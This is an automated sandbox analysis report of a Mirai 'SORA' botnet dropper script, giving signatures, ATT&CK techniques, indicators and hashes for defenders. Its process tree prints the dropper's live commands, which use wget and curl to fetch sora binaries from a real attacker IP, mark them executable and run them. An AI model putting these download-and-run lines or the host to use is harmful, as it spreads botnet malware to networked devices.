mirai | cc77e49dd7b2419e3152f7ecfc5b718fa713a0300080a101048bb46a01966975

Analysis

max time kernel
99s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
20-02-2025 16:17

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General

Target

pulse.sh
Size

2KB
MD5

e95da5a40eca3a95854e587310e5c523
SHA1

785acbfb4fec6d3efbf3554126206a62bacfc16b
SHA256

cc77e49dd7b2419e3152f7ecfc5b718fa713a0300080a101048bb46a01966975
SHA512

74acfc8651a7ae5fc764d26019a4c38339a4f8feadcfc46c39d104fbf3349088075f764486e575c98c833713c2104a391f179f8c4e0f3b20dc5487bf6af7b9e0

Score

10^/10

mirai sora botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

SORA

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (36850) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
768	chmod
779	chmod
796	chmod
827	chmod
876	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/robben	769	pulse.sh
/tmp/robben	780	pulse.sh
/tmp/robben	798	pulse.sh
/tmp/robben	829	pulse.sh
/tmp/robben	877	pulse.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx
behavioral3/files/fstream-4.dat	upx
behavioral3/files/fstream-5.dat	upx
behavioral3/files/fstream-7.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	0dmn3115k1c5ak	780	robben

Reads runtime system information 23 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/676/exe	robben
File opened for reading	/proc/733/exe	robben
File opened for reading	/proc/739/exe	robben
File opened for reading	/proc/740/exe	robben
File opened for reading	/proc/744/exe	robben
File opened for reading	/proc/806/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/672/exe	robben
File opened for reading	/proc/675/exe	robben
File opened for reading	/proc/738/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/781/exe	robben
File opened for reading	/proc/669/exe	robben
File opened for reading	/proc/722/exe	robben
File opened for reading	/proc/737/exe	robben
File opened for reading	/proc/824/exe	robben
File opened for reading	/proc/879/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/784/exe	robben
File opened for reading	/proc/428/exe	robben
File opened for reading	/proc/732/exe	robben

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
771	wget
777	curl
778	cat

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sora.x86	wget
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/sora.i686	curl
File opened for modification	/tmp/robben	pulse.sh
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.x86_64	wget
File opened for modification	/tmp/sora.x86_64	curl
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.i686	wget
File opened for modification	/tmp/sora.mpsl	wget

/tmp/pulse.sh
/tmp/pulse.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:740
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/cat
  cat sora.x86
  2⤵
  PID:766
- /bin/chmod
  chmod +x pulse.sh robben sora.x86 systemd-private-4812082fa4ce4b91b94c201f5cc9c6e6-systemd-timedated.service-C7QeuH
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:769
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:771
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:777
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:778
- /bin/chmod
  chmod +x pulse.sh robben sora.mips sora.x86 systemd-private-4812082fa4ce4b91b94c201f5cc9c6e6-systemd-timedated.service-C7QeuH
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:780
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.x86_64
  2⤵
  - Writes file to tmp directory
  PID:787
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:795
- /bin/chmod
  chmod +x pulse.sh robben sora.mips sora.x86 sora.x86_64 systemd-private-4812082fa4ce4b91b94c201f5cc9c6e6-systemd-timedated.service-C7QeuH
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:798
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.i468
  2⤵
  PID:801
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/cat
  cat sora.i468
  2⤵
  PID:825
- /bin/chmod
  chmod +x pulse.sh robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-4812082fa4ce4b91b94c201f5cc9c6e6-systemd-timedated.service-C7QeuH
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:829
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.i686
  2⤵
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/cat
  cat sora.i686
  2⤵
  PID:875
- /bin/chmod
  chmod +x pulse.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-4812082fa4ce4b91b94c201f5cc9c6e6-systemd-timedated.service-C7QeuH
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/robben
  ./robben pulse.exploit
  2⤵
  PID:877
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:879

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/robben

Filesize
28KB

MD5
fa9b6c7c37b9749884b432b1cfcd447c

SHA1
1ddf712db6bf2948950b7fd884766a1a5d2b4294

SHA256
4a18c7f6e74bc6f4a20f948c8b0555f4688c80740a5eb9d3388fc8930ac65432

SHA512
2f8f653f60de4a0562e524fb9993175a46b946e1fe476f3e180558baa0462f5725549c6587ad1b264df98cee8438adfab8bab7014ef423ff7a554ee59e9ef806

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/tmp/robben

Filesize
28KB

MD5
ce88468dfdee071a7a62485b512c56a1

SHA1
8a1c6f3d1024b98faba6b58072972e72936add17

SHA256
9a720166ffa4e73959c5cb54af0b5637ad17cb1ac768f7a66939a07e9f0e28db

SHA512
91eb34165af402c57d25c7c958605e03f680f271187174a0ab2e891c0c31322808e484a1c98b4bd6c924d68493b9d99f36474e45c4b29b5959530f79382c3d8c

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/tmp/robben

Filesize
212B

MD5
83ab6cd9a67528bbc6f4f360cb7f8d83

SHA1
07e8f17209e0569aab39f062568ff0090d9b20d4

SHA256
3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435

SHA512
171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f

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/tmp/robben

Filesize
28KB

MD5
a70636d57e9deea3ce72e6e0212965f0

SHA1
4761f53ca4d1ba6f193adbb9c460acc6c8b14d38

SHA256
86103ccdb8e57a2c6a9be1828561fbf4f07adc21e432f8e21ebcc10eebb0281c

SHA512
e9b69afa60a19d13f7780428eea5b071328301282b3f589787078d45a6b79f53d9b8c8ae39a611564fa62b726c987851a6f1a2ef45e633039a53f9c07de6357b

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/tmp/sora.x86

Filesize
27KB

MD5
c0c367bd815a1550281a34845445dcb3

SHA1
cdaeafd335143dd8c3584c0ba8362c6281b38786

SHA256
438747b91b304a609ccd2b5a7502fea1e20b6beabdb035834f335825b182644e

SHA512
60adf781185e829c222bd0570193cfa157bf622323404bb629692a9b18da9e73c8d59fd2305c96172f374fdab20dceadae45ac4137d6ae6e3fc6861ae8a24ead

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